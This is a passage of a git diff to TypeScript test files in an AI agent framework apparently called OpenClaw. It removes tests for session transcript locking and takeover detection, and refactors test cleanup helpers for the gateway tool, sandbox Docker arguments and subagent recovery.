...lockOptions, sessionFile }, - mergePromptReleasedSessionEntries, - }); - await controller.releaseForPrompt(); - - await expect( - withOwnedSessionTranscriptWrites( - { - sessionFile, - withSessionWriteLock: (operation, options) => - controller.withSessionWriteLock(operation, options), - }, - async () => - await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - sessionId: "failed-first-turn", - cwd: dir, - message: { role: "assistant", content: "blocked" }, - prepareMessageAfterIdempotencyCheck: () => { - throw new Error("expected append failure"); - }, - }), - ), - ).rejects.toThrow("expected append failure"); - - expect(mergePromptReleasedSessionEntries).toHaveBeenCalledWith([]); - expect(controller.hasSessionTakeover()).toBe(false); - await controller.dispose(); - }); - - it("rejects unowned rows added beside a blocked first-turn append", async () => { - const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-attempt-session-blocked-")); - tempDirs.push(dir); - const sessionFile = path.join(dir, "blocked-external.jsonl"); - const controller = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock, - lockOptions: { ...lockOptions, sessionFile }, - mergePromptReleasedSessionEntries: vi.fn(), - }); - await controller.releaseForPrompt(); - - await expect( - withOwnedSessionTranscriptWrites( - { - sessionFile, - withSessionWriteLock: (operation, options) => - controller.withSessionWriteLock(operation, options), - }, - async () => - await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - sessionId: "blocked-session", - message: { role: "assistant", content: "blocked" }, - prepareMessageAfterIdempotencyCheck: () => { - appendFileSync( - sessionFile, - `${JSON.stringify({ type: "message", id: "external" })}\n`, - "utf8", - ); - return undefined; - }, - }), - ), - ).rejects.toBeInstanceOf(EmbeddedAttemptSessionTakeoverError); - - expect(controller.hasSessionTakeover()).toBe(true); - await controller.dispose(); - }); - - it("rejects a first-turn header changed before the owned message is published", async () => { - const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-attempt-session-header-")); - tempDirs.push(dir); - const sessionFile = path.join(dir, "changed-header.jsonl"); - const controller = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock, - lockOptions: { ...lockOptions, sessionFile }, - mergePromptReleasedSessionEntries: vi.fn(), - }); - await controller.releaseForPrompt(); - - const message = { - role: "assistant", - content: [{ type: "text", text: "first-turn delivery" }], - provider: "openclaw", - model: "delivery-mirror", - } as const; - await expect( - withOwnedSessionTranscriptWrites( - { - sessionFile, - withSessionWriteLock: (operation, options) => - controller.withSessionWriteLock(operation, options), - }, - async () => - await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - sessionId: "expected-session", - cwd: dir, - message, - prepareMessageAfterIdempotencyCheck: (candidate) => { - writeFileSync( - sessionFile, - `${JSON.stringify({ - type: "session", - version: 3, - id: "replaced-session", - timestamp: new Date().toISOString(), - cwd: "/tmp/replaced", - })}\n`, - "utf8", - ); - return candidate; - }, - }), - ), - ).rejects.toBeInstanceOf(EmbeddedAttemptSessionTakeoverError); - - expect(controller.hasSessionTakeover()).toBe(true); - await controller.dispose(); - }); - - it("distinguishes a published session event from an implicit new header", async () => { - const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-attempt-session-event-")); - tempDirs.push(dir); - const sessionFile = path.join(dir, "session-event.jsonl"); - const mergePromptReleasedSessionEntries = vi.fn(); - const controller = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock, - lockOptions: { ...lockOptions, sessionFile }, - mergePromptReleasedSessionEntries, - }); - await controller.releaseForPrompt(); - - const event = { type: "session", sessionId: "published-session-event" }; - await withOwnedSessionTranscriptWrites( - { - sessionFile, - withSessionWriteLock: (operation, options) => - controller.withSessionWriteLock(operation, options), - }, - async () => - await appendSessionTranscriptEvent({ - transcriptPath: sessionFile, - event, - }), - ); - - expect(mergePromptReleasedSessionEntries).toHaveBeenCalledWith([ - { type: "prompt_released_opaque", record: event }, - ]); - expect(controller.hasSessionTakeover()).toBe(false); - await controller.dispose(); - }); - - it("keeps non-message events with message payloads opaque", async () => { - const sessionFile = await createTempSessionFile(); - const mergePromptReleasedSessionEntries = vi.fn(); - const controller = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock, - lockOptions: { ...lockOptions, sessionFile }, - mergePromptReleasedSessionEntries, - }); - await controller.releaseForPrompt(); - - const event = { - type: "metadata", - id: "message-shaped-metadata", - parentId: null, - timestamp: new Date().toISOString(), - message: { role: "assistant", provider: "openclaw", model: "delivery-mirror" }, - payload: { source: "plugin" }, - }; - await withOwnedSessionTranscriptWrites( - { - sessionFile, - withSessionWriteLock: (operation, options) => - controller.withSessionWriteLock(operation, options), - }, - async () => { - await appendSessionTranscriptEvent({ transcriptPath: sessionFile, event }); - }, - ); - - expect(mergePromptReleasedSessionEntries).toHaveBeenCalledWith([ - { type: "prompt_released_opaque", record: event }, - ]); - expect(controller.hasSessionTakeover()).toBe(false); - await controller.dispose(); - }); - - it("validates opaque events migrated by a nested message publication", async () => { - const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-attempt-session-migrated-")); - tempDirs.push(dir); - const sessionFile = path.join(dir, "migrated-event.jsonl"); - const existingMessageId = "existing-user"; - await fs.writeFile( - sessionFile, - [ - JSON.stringify({ - type: "session", - version: 1, - id: "migrated-event", - timestamp: new Date().toISOString(), - cwd: dir, - }), - JSON.stringify({ - type: "message", - id: existingMessageId, - timestamp: new Date().toISOString(), - message: { role: "user", content: "existing prompt" }, - }), - ].join("\n") + "\n", - "utf8", - ); - const mergePromptReleasedSessionEntries = vi.fn(); - const controller = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock, - lockOptions: { ...lockOptions, sessionFile }, - mergePromptReleasedSessionEntries, - }); - await controller.releaseForPrompt(); - - const sessionKey = "agent:main:migrated-event"; - const appended = await withOwnedSessionTranscriptWrites( - { - sessionFile, - sessionKey, - withSessionWriteLock: (operation, options) => - controller.withSessionWriteLock(operation, options), - }, - async () => - await runWithOwnedSessionTranscriptWritePublication( - { sessionFile, sessionKey }, - async () => { - await appendSessionTranscriptEvent({ - transcriptPath: sessionFile, - event: { type: "metadata", payload: { source: "plugin" } }, - }); - return await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - message: { - role: "assistant", - content: [{ type: "text", text: "after metadata" }], - provider: "anthropic", - model: "sonnet-4.6", - }, - }); - }, - ), - ); - - expect(mergePromptReleasedSessionEntries).toHaveBeenCalledWith([ - expect.objectContaining({ - type: "prompt_released_opaque", - record: expect.objectContaining({ type: "metadata" }), - }), - expect.objectContaining({ type: "message", id: appended.messageId }), - ]); - expect(controller.hasSessionTakeover()).toBe(false); - await controller.dispose(); - }); - - it("validates owned transcript entries larger than the benign external read limit", async () => { - const sessionFile = await createTempSessionFile(); - const mergePromptReleasedSessionEntries = vi.fn(); - const controller = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock, - lockOptions: { ...lockOptions, sessionFile }, - mergePromptReleasedSessionEntries, - }); - await controller.releaseForPrompt(); - - const appended = await withOwnedSessionTranscriptWrites( - { - sessionFile, - withSessionWriteLock: (operation, options) => - controller.withSessionWriteLock(operation, options), - }, - async () => - await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - message: { - role: "assistant", - content: [{ type: "text", text: "x".repeat(1024 * 1024 + 1) }], - provider: "anthropic", - model: "sonnet-4.6", - }, - }), - ); - - expect(mergePromptReleasedSessionEntries).toHaveBeenCalledWith([ - expect.objectContaining({ type: "message", id: appended.messageId }), - ]); - expect(controller.hasSessionTakeover()).toBe(false); - await controller.dispose(); - }); - - describe("large owned linear transcript migration", () => { - let result: { - appendedId: string; - hasTakeover: boolean; - mergedEntries: unknown; - persistedParentLink: boolean; - }; - - beforeAll(async () => { - const sessionFile = await createTempSessionFile(); - await fs.appendFile(sessionFile, LARGE_LINEAR_TRANSCRIPT_LINE, "utf8"); - const mergePromptReleasedSessionEntries = vi.fn(); - const controller = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock, - lockOptions: { ...lockOptions, sessionFile }, - mergePromptReleasedSessionEntries, - }); - await controller.releaseForPrompt(); - - const appended = await withOwnedSessionTranscriptWrites( - { - sessionFile, - withSessionWriteLock: (operation, options) => - controller.withSessionWriteLock(operation, options), - }, - async () => - await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - message: { - role: "assistant", - content: [{ type: "text", text: LARGE_OWNED_TRANSCRIPT_TEXT }], - provider: "anthropic", - model: "sonnet-4.6", - }, - }), - ); - - result = { - appendedId: appended.messageId, - hasTakeover: controller.hasSessionTakeover(), - mergedEntries: mergePromptReleasedSessionEntries.mock.calls[0]?.[0], - persistedParentLink: (await fs.readFile(sessionFile, "utf8")).includes('"parentId"'), - }; - await controller.dispose(); - }); - - it("validates large owned entries after migrating a large linear transcript", () => { - expect(result.persistedParentLink).toBe(true); - expect(result.mergedEntries).toEqual([ - expect.objectContaining({ type: "message", id: result.appendedId }), - ]); - expect(result.hasTakeover).toBe(false); - }); - }); - it("serializes concurrent nested owned transcript publications", async () => { const sessionFile = await createTempSessionFile(); const mergedIds: string[] = []; @@ -3805,200 +3025,6 @@ describe("embedded attempt session lock lifecycle", () => { await controller.dispose(); }); - it("publishes the transcript event id returned by serialization", async () => { - const sessionFile = await createTempSessionFile(); - const mergePromptReleasedSessionEntries = vi.fn(); - const controller = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock, - lockOptions: { ...lockOptions, sessionFile }, - mergePromptReleasedSessionEntries, - }); - await controller.releaseForPrompt(); - - const toJSON = vi.fn(() => ({ - type: "custom", - id: "serialized-owned-event", - parentId: null, - timestamp: new Date().toISOString(), - customType: "plugin-event", - data: { source: "plugin" }, - })); - await expect( - withOwnedSessionTranscriptWrites( - { - sessionFile, - withSessionWriteLock: (operation, options) => - controller.withSessionWriteLock(operation, options), - }, - async () => - await appendSessionTranscriptEvent({ - transcriptPath: sessionFile, - event: { toJSON }, - }), - ), - ).resolves.toBeUndefined(); - - expect(toJSON).toHaveBeenCalledTimes(1); - expect(mergePromptReleasedSessionEntries).toHaveBeenCalledWith([ - expect.objectContaining({ type: "custom", id: "serialized-owned-event" }), - ]); - expect(controller.hasSessionTakeover()).toBe(false); - await controller.dispose(); - }); - - it("preserves opaque owned transcript events across a stale-manager rewrite", async () => { - const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-attempt-session-opaque-")); - tempDirs.push(dir); - const staleManager = SessionManager.create(dir, dir); - staleManager.appendMessage({ role: "user", content: "question", timestamp: 1 }); - const sessionFile = staleManager.getSessionFile(); - if (!sessionFile) { - throw new Error("expected persisted session file"); - } - const controller = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock, - lockOptions: { ...lockOptions, sessionFile }, - mergePromptReleasedSessionEntries: (entries) => - staleManager.mergePromptReleasedSessionEntries(entries, { persistLeaf: true }), - reloadPromptReleasedSessionFile: () => staleManager.setSessionFile(sessionFile), - }); - await controller.releaseForPrompt(); - - await withOwnedSessionTranscriptWrites( - { - sessionFile, - withSessionWriteLock: (operation, options) => - controller.withSessionWriteLock(operation, options), - }, - async () => - await appendSessionTranscriptEvent({ - transcriptPath: sessionFile, - event: { - type: "metadata", - payload: { source: "plugin" }, - }, - }), - ); - await withOwnedSessionTranscriptWrites( - { - sessionFile, - withSessionWriteLock: (operation, options) => - controller.withSessionWriteLock(operation, options), - }, - async () => - await appendSessionTranscriptEvent({ - transcriptPath: sessionFile, - event: 42, - }), - ); - await controller.withSessionWriteLock(() => { - staleManager.appendMessage({ - role: "assistant", - content: [{ type: "text", text: "answer" }], - api: "messages", - provider: "anthropic", - model: "sonnet-4.6", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "stop", - timestamp: 2, - }); - }); - - const records = (await fs.readFile(sessionFile, "utf8")) - .trim() - .split("\n") - .map((line) => JSON.parse(line) as unknown); - expect(records).toContainEqual({ - type: "metadata", - payload: { source: "plugin" }, - }); - expect(records).toContain(42); - const reopened = SessionManager.open(sessionFile, dir, dir); - expect(reopened.getEntries()).toHaveLength(2); - expect(reopened.buildSessionContext().messages.map((message) => message.role)).toEqual([ - "user", - "assistant", - ]); - expect(controller.hasSessionTakeover()).toBe(false); - await controller.dispose(); - }); - - it("allows prompt-stream announcement writes from another controller but still rejects external edits", async () => { - const sessionFile = await createTempSessionFile(); - const acquireSessionWriteLockAnnouncement = vi.fn(async () => ({ release: vi.fn() })); - const firstController = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock: acquireSessionWriteLockAnnouncement, - lockOptions: { ...lockOptions, sessionFile }, - }); - - await firstController.releaseForPrompt(); - - const sessionKey = "agent:main:imessage:requester"; - const secondController = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock: acquireSessionWriteLockAnnouncement, - lockOptions: { ...lockOptions, sessionFile }, - }); - const forwardedOptions: Array<{ publishOwnedWrite?: boolean } | undefined> = []; - const announceSession = { - agent: { - streamFn: vi.fn(async () => { - await runWithOwnedSessionTranscriptWritePublication( - { sessionFile, sessionKey }, - async () => { - await fs.appendFile( - sessionFile, - '{"type":"message","id":"announcement-complete"}\n', - "utf8", - ); - }, - ); - }), - }, - }; - - installPromptSubmissionLockRelease({ - session: announceSession, - waitForSessionEvents: (sessionToDrain) => - secondController.waitForSessionEvents(sessionToDrain), - releaseForPrompt: () => secondController.releaseForPrompt(), - reacquireAfterPrompt: () => secondController.reacquireAfterPrompt(), - sessionFile, - sessionKey, - withSessionWriteLock: (run, options) => { - forwardedOptions.push(options); - return secondController.withSessionWriteLock(run, options); - }, - }); - - await announceSession.agent.streamFn(); - await expect( - firstController.withSessionWriteLock(async () => { - await fs.appendFile(sessionFile, '{"type":"message","id":"post-announcement"}\n', "utf8"); - return "post-announcement"; - }), - ).resolves.toBe("post-announcement"); - expect(firstController.hasSessionTakeover()).toBe(false); - - await fs.appendFile( - sessionFile, - '{"type":"message","id":"external-after-announcement"}\n', - "utf8", - ); - await expect(firstController.withSessionWriteLock(() => "late")).rejects.toBeInstanceOf( - EmbeddedAttemptSessionTakeoverError, - ); - - expect(firstController.hasSessionTakeover()).toBe(true); - expect(forwardedOptions).toContainEqual({ publishOwnedWrite: true }); - }); - it("rejects external edits interleaved while another controller holds cleanup lock", async () => { const sessionFile = await createTempSessionFile(); const releases: string[] = []; @@ -4035,67 +3061,6 @@ describe("embedded attempt session lock lifecycle", () => { expect(releases).toEqual(["release", "release", "release", "release"]); }); - it("rejects external edits interleaved inside a broad owned transcript lock", async () => { - const sessionFile = await createTempSessionFile(); - const releases: string[] = []; - const acquireSessionWriteLockScoped = vi.fn(async () => ({ - release: vi.fn(async () => { - releases.push("release"); - }), - })); - const firstController = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock: acquireSessionWriteLockScoped, - lockOptions: { ...lockOptions, sessionFile }, - }); - - await firstController.releaseForPrompt(); - - const secondController = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock: acquireSessionWriteLockScoped, - lockOptions: { ...lockOptions, sessionFile }, - }); - await withOwnedSessionTranscriptWrites( - { - sessionFile, - sessionKey: "agent:main:slack:channel:789", - withSessionWriteLock: (operation, options) => - secondController.withSessionWriteLock(operation, options), - }, - async () => - await runWithOwnedSessionTranscriptWriteLock( - { sessionFile, sessionKey: "agent:main:slack:channel:789" }, - async () => { - await fs.appendFile( - sessionFile, - '{"type":"message","id":"external-owned-scope"}\n', - "utf8", - ); - await runWithOwnedSessionTranscriptWritePublication( - { sessionFile, sessionKey: "agent:main:slack:channel:789" }, - async () => { - await fs.appendFile( - sessionFile, - '{"type":"message","id":"same-process"}\n', - "utf8", - ); - }, - ); - }, - ), - ); - await secondController.releaseForPrompt(); - - await expect( - firstController.withSessionWriteLock(async () => { - await fs.appendFile(sessionFile, '{"type":"message","id":"late"}\n', "utf8"); - }), - ).rejects.toBeInstanceOf(EmbeddedAttemptSessionTakeoverError); - - expect(firstController.hasSessionTakeover()).toBe(true); - expect(acquireSessionWriteLockScoped).toHaveBeenCalledTimes(3); - expect(releases).toEqual(["release", "release", "release"]); - }); - it("rejects external edits interleaved during a broad same-process locked callback", async () => { const sessionFile = await createTempSessionFile(); const releases: string[] = []; @@ -4778,49 +3743,6 @@ describe("embedded attempt session lock lifecycle", () => { ]); }); - it("treats transcript appends during prompt streaming as owned session writes", async () => { - const sessionFile = await createTempSessionFile(); - const controller = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock, - lockOptions: { - ...lockOptions, - sessionFile, - timeoutMs: 1_000, - }, - }); - const session = { - agent: { - streamFn: vi.fn(async (..._args: unknown[]) => { - await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - message: { - role: "assistant", - content: [{ type: "text", text: "mirrored message-tool delivery" }], - }, - }); - }), - }, - }; - - installPromptSubmissionLockRelease({ - session, - waitForSessionEvents: (sessionToDrain) => controller.waitForSessionEvents(sessionToDrain), - releaseForPrompt: () => controller.releaseForPrompt(), - reacquireAfterPrompt: () => controller.reacquireAfterPrompt(), - sessionFile, - withSessionWriteLock: (run) => controller.withSessionWriteLock(run), - }); - - await session.agent.streamFn("model", "context"); - const cleanupLock = await controller.acquireForCleanup({ session }); - await cleanupLock.release(); - - expect(controller.hasSessionTakeover()).toBe(false); - await expect(fs.readFile(sessionFile, "utf8")).resolves.toContain( - "mirrored message-tool delivery", - ); - }); - it("keeps prompt-stream transcript appends from blocking session-locked hook writes", async () => { const sessionFile = await createTempSessionFile(); const controller = await createEmbeddedAttemptSessionLockController({ diff --git a/src/agents/embedded-agent-subscribe.handlers.compaction.test.ts b/src/agents/embedded-agent-subscribe.handlers.compaction.test.ts index e6a19f8ff985..35b3e3f73a89 100644 --- a/src/agents/embedded-agent-subscribe.handlers.compaction.test.ts +++ b/src/agents/embedded-agent-subscribe.handlers.compaction.test.ts @@ -3,8 +3,7 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import { drainSessionStoreWriterQueuesForTest } from "../config/sessions.js"; +import { describe, expect, it, vi } from "vitest"; import { readCompactionCount, seedSessionStore, @@ -130,10 +129,6 @@ function loggedInfoMessageAt(info: ReturnType, index: number): str return message; } -afterEach(async () => { - await drainSessionStoreWriterQueuesForTest(); -}); - describe("reconcileSessionStoreCompactionCountAfterSuccess", () => { it("raises the stored compaction count to the observed value", async () => { // Store count can lag the in-memory count after async writes; reconciliation diff --git a/src/agents/harness/lifecycle.test.ts b/src/agents/harness/lifecycle.test.ts index f8d932ddef18..768bfbabace2 100644 --- a/src/agents/harness/lifecycle.test.ts +++ b/src/agents/harness/lifecycle.test.ts @@ -12,7 +12,6 @@ import { } from "../../infra/diagnostic-events.js"; import { getActiveDiagnosticTraceContext, - resetDiagnosticTraceContextForTest, runWithDiagnosticTraceContext, type DiagnosticTraceContext, } from "../../infra/diagnostic-trace-context.js"; @@ -134,7 +133,6 @@ function captureDiagnosticEvents( describe("AgentHarness lifecycle runner", () => { afterEach(() => { resetDiagnosticEventsForTest(); - resetDiagnosticTraceContextForTest(); }); it("runs a harness attempt without changing attempt params", async () => { diff --git a/src/agents/main-session-restart-recovery.test.ts b/src/agents/main-session-restart-recovery.test.ts index 51f0c608dcb6..b585170c604c 100644 --- a/src/agents/main-session-restart-recovery.test.ts +++ b/src/agents/main-session-restart-recovery.test.ts @@ -16,7 +16,7 @@ import { callGateway } from "../gateway/call.js"; import { getAgentEventLifecycleGeneration, registerAgentRunContext, - resetAgentRunContextForTest, + resetAgentEventsForTest, } from "../infra/agent-events.js"; import { getActiveGatewayRootWorkCount, @@ -69,7 +69,7 @@ let tmpDir: string; beforeEach(async () => { vi.clearAllMocks(); - resetAgentRunContextForTest(); + resetAgentEventsForTest(); resetGatewayWorkAdmission(); tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-main-restart-recovery-")); }); diff --git a/src/agents/mcp-http-fetch.test.ts b/src/agents/mcp-http-fetch.test.ts index 24f207d429c4..d45e5c142048 100644 --- a/src/agents/mcp-http-fetch.test.ts +++ b/src/agents/mcp-http-fetch.test.ts @@ -7,7 +7,6 @@ import type { FetchLike } from "@modelcontextprotocol/sdk/shared/transport.js"; * Verifies SSRF-guarded fetch, scoped dispatcher behavior, and same-origin headers. */ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { TEST_UNDICI_RUNTIME_DEPS_KEY } from "../infra/net/undici-runtime.js"; import { buildMcpHttpFetch, withoutMcpAuthorizationHeader, @@ -15,6 +14,7 @@ import { } from "./mcp-http-fetch.js"; const testGlobal = globalThis as Record; +const TEST_UNDICI_RUNTIME_DEPS_KEY = "__OPENCLAW_TEST_UNDICI_RUNTIME_DEPS__"; const { lookupMock } = vi.hoisted(() => ({ lookupMock: vi.fn(), })); diff --git a/src/agents/openclaw-gateway-tool.test.ts b/src/agents/openclaw-gateway-tool.test.ts index 39602625a916..02139f3f5bfc 100644 --- a/src/agents/openclaw-gateway-tool.test.ts +++ b/src/agents/openclaw-gateway-tool.test.ts @@ -3,10 +3,12 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { beforeEach, describe, expect, it, vi } from "vitest"; -import { normalizeConfigPatchReplacePath } from "../config/patch-replace-paths.js"; import { GatewayClientRequestError } from "../gateway/client.js"; import { readRestartSentinel } from "../infra/restart-sentinel.js"; -import { testing as restartTesting } from "../infra/restart.js"; +import { + resetGatewayRestartStateForInProcessRestart, + setPreRestartDeferralCheck, +} from "../infra/restart.js"; import { withEnvAsync } from "../test-utils/env.js"; import { createGatewayTool } from "./tools/gateway-tool.js"; import { callGatewayTool } from "./tools/gateway.js"; @@ -131,7 +133,6 @@ function expectConfigMutationCall(params: { describe("gateway tool", () => { beforeEach(() => { - restartTesting.resetSigusr1State(); callGatewayToolMock.mockClear(); readGatewayCallOptionsMock.mockClear(); callGatewayToolMock.mockImplementation(async (method: string) => { @@ -298,12 +299,10 @@ describe("gateway tool", () => { ); }); - it("schedules SIGUSR1 restart", async () => { + it("schedules SIGUSR1 restart and writes the routed sentinel", async () => { + resetGatewayRestartStateForInProcessRestart(); + setPreRestartDeferralCheck(() => 0); const kill = vi.spyOn(process, "kill").mockImplementation(() => true); - const restartSignalKillCalls = () => - kill.mock.calls.filter( - ([pid, signal]) => pid === process.pid && (signal === "SIGUSR1" || signal === undefined), - ); const sigusr1Handler = vi.fn(); process.on("SIGUSR1", sigusr1Handler); const stateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-test-")); @@ -312,9 +311,7 @@ describe("gateway tool", () => { await withEnvAsync( { OPENCLAW_STATE_DIR: stateDir, OPENCLAW_PROFILE: "isolated" }, async () => { - const tool = requireGatewayTool(); - - const result = await tool.execute("call1", { + const result = await requireGatewayTool().execute("call1", { action: "restart", delayMs: 0, }); @@ -325,13 +322,11 @@ describe("gateway tool", () => { delayMs: 0, }); - expect(restartSignalKillCalls()).toHaveLength(0); - expect(sigusr1Handler).not.toHaveBeenCalled(); await vi.waitFor(() => expect(sigusr1Handler).toHaveBeenCalledTimes(1), { interval: 1, timeout: 1_000, }); - expect(restartSignalKillCalls()).toHaveLength(0); + expect(kill).not.toHaveBeenCalled(); const sentinel = await readRestartSentinel(); expect(sentinel?.payload.kind).toBe("restart"); @@ -343,7 +338,8 @@ describe("gateway tool", () => { } finally { process.removeListener("SIGUSR1", sigusr1Handler); kill.mockRestore(); - restartTesting.resetSigusr1State(); + resetGatewayRestartStateForInProcessRestart(); + setPreRestartDeferralCheck(() => 0); await fs.rm(stateDir, { recursive: true, force: true }); } }); @@ -501,18 +497,6 @@ describe("gateway tool", () => { }); }); - it("distinguishes explicit terminal array consent from indexed consent", () => { - expect(normalizeConfigPatchReplacePath("bindings[]")).toBe("bindings"); - expect(normalizeConfigPatchReplacePath("bindings[0]")).toBe("bindings[0]"); - expect(normalizeConfigPatchReplacePath("agents.list[0].skills")).toBe("agents.list[].skills"); - expect(normalizeConfigPatchReplacePath(normalizeConfigPatchReplacePath("bindings[]"))).toBe( - "bindings", - ); - expect(normalizeConfigPatchReplacePath(normalizeConfigPatchReplacePath("bindings[0]"))).toBe( - "bindings[0]", - ); - }); - it("rejects config.patch when it changes safe bin approval paths", async () => { const tool = requireGatewayTool(); diff --git a/src/agents/sandbox-create-args.test.ts b/src/agents/sandbox-create-args.test.ts index 4ffd2cd6051e..bf0189dd15c9 100644 --- a/src/agents/sandbox-create-args.test.ts +++ b/src/agents/sandbox-create-args.test.ts @@ -1,10 +1,11 @@ // Verifies Docker create arguments for sandbox hardening and configured passthrough. import { describe, expect, it } from "vitest"; -import { OPENCLAW_CLI_ENV_VALUE } from "../infra/openclaw-exec-env.js"; import { SANDBOX_DOCKER_CREATE_ARGS_EPOCH } from "./sandbox/constants.js"; import { buildSandboxCreateArgs } from "./sandbox/docker.js"; import type { SandboxDockerConfig } from "./sandbox/types.js"; +const OPENCLAW_CLI_ENV_VALUE = "1"; + describe("buildSandboxCreateArgs", () => { function createSandboxConfig( overrides: Partial = {}, diff --git a/src/agents/subagent-orphan-recovery.restart-integration.test.ts b/src/agents/subagent-orphan-recovery.restart-integration.test.ts index 6f19ba8c4a34..71ef9d37384f 100644 --- a/src/agents/subagent-orphan-recovery.restart-integration.test.ts +++ b/src/agents/subagent-orphan-recovery.restart-integration.test.ts @@ -11,15 +11,12 @@ import os from "node:os"; import path from "node:path"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { setRuntimeConfigSnapshot } from "../config/config.js"; -import { - clearSessionStoreCacheForTest, - drainSessionStoreWriterQueuesForTest, -} from "../config/sessions/store.js"; import { callGateway } from "../gateway/call.js"; import { createRunningTaskRun } from "../tasks/detached-task-runtime.js"; import { resetTaskFlowRegistryForTests } from "../tasks/task-flow-registry.js"; import { findTaskByRunId, resetTaskRegistryForTests } from "../tasks/task-registry.js"; import { captureEnv } from "../test-utils/env.js"; +import { cleanupSessionStateForTest } from "../test-utils/session-state-cleanup.js"; import { recoverOrphanedSubagentSessions } from "./subagent-orphan-recovery.js"; import { addSubagentRunForTests, @@ -84,8 +81,7 @@ describe("subagent orphan recovery — faithful restart path", () => { afterEach(async () => { testing.setDepsForTest(); resetSubagentRegistryForTests({ persist: false }); - await drainSessionStoreWriterQueuesForTest(); - clearSessionStoreCacheForTest(); + await cleanupSessionStateForTest(); resetTaskRegistryForTests({ persist: false }); resetTaskFlowRegistryForTests({ persist: false }); if (tempStateDir) { @@ -95,7 +91,7 @@ describe("subagent orphan recovery — faithful restart path", () => { envSnapshot.restore(); }); - it("finalizes a stale (>2h) aborted run in the real registry instead of resuming it", async () => { + it("finalizes a stale (>2h) aborted run instead of resuming it", async () => { const now = Date.now(); const childSessionKey = "agent:main:subagent:stale-aborted"; const runId = "run-stale-aborted"; @@ -130,25 +126,11 @@ describe("subagent orphan recovery — faithful restart path", () => { ).not.toBeNull(); addSubagentRunForTests(record); - const before = getSubagentRunByChildSessionKey(childSessionKey); - console.log( - `[proof] before recovery: stale run endedAt=${before?.endedAt ?? "undefined"} outcome=${ - before?.outcome?.status ?? "undefined" - }`, - ); - const result = await recoverOrphanedSubagentSessions({ getActiveRuns: () => new Map([[runId, record]]), }); const after = getSubagentRunByChildSessionKey(childSessionKey); - console.log( - `[proof] after recovery: result=${JSON.stringify(result)} endedAt=${ - after?.endedAt ?? "undefined" - } outcome=${after?.outcome?.status ?? "undefined"}`, - ); - - // Stale aborted run was finalized in the real registry, not resumed. expect(vi.mocked(callGateway)).not.toHaveBeenCalled(); expect(after?.endedAt).toBeTypeOf("number"); expect(after?.outcome?.status).toBe("error"); @@ -159,11 +141,9 @@ describe("subagent orphan recovery — faithful restart path", () => { error: expect.stringContaining("stale aborted subagent run not resumed"), }); - // The task finalizer and session projection are durable, not only - // in-memory side effects of the recovery pass. resetTaskRegistryForTests({ persist: false }); expect(findTaskByRunId(runId)).toMatchObject({ status: "failed" }); - await drainSessionStoreWriterQueuesForTest(); + await cleanupSessionStateForTest(); const persistedSession = (await readSubagentSessionStore(storePath))[childSessionKey]; expect(persistedSession).toMatchObject({ status: "failed", diff --git a/src/agents/subagent-registry.persistence.resume.test.ts b/src/agents/subagent-registry.persistence.resume.test.ts index 8cb98dae14fa..8a059a58e7a9 100644 --- a/src/agents/subagent-registry.persistence.resume.test.ts +++ b/src/agents/subagent-registry.persistence.resume.test.ts @@ -5,11 +5,8 @@ import os from "node:os"; import path from "node:path"; import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import "./subagent-registry.mocks.shared.js"; -import { - clearSessionStoreCacheForTest, - drainSessionStoreWriterQueuesForTest, -} from "../config/sessions/store.js"; import { withEnvAsync } from "../test-utils/env.js"; +import { cleanupSessionStateForTest } from "../test-utils/session-state-cleanup.js"; import { createSubagentRegistryTestDeps, writeSubagentSessionEntry, @@ -128,8 +125,7 @@ describe("subagent registry persistence resume", () => { announceSpy.mockClear(); mod.testing.setDepsForTest(); mod.resetSubagentRegistryForTests({ persist: false }); - await drainSessionStoreWriterQueuesForTest(); - clearSessionStoreCacheForTest(); + await cleanupSessionStateForTest(); if (tempStateDir) { await fs.rm(tempStateDir, { recursive: true, force: true, maxRetries: 5, retryDelay: 50 }); tempStateDir = null; diff --git a/src/agents/subagent-registry.persistence.test.ts b/src/agents/subagent-registry.persistence.test.ts index 9c7b20f49a63..bdea081e3063 100644 --- a/src/agents/subagent-registry.persistence.test.ts +++ b/src/agents/subagent-registry.persistence.test.ts @@ -8,14 +8,11 @@ import { expectDefined } from "@openclaw/normalization-core"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import "./subagent-registry.mocks.shared.js"; import { replaceSessionEntry } from "../config/sessions/session-accessor.js"; -import { - clearSessionStoreCacheForTest, - 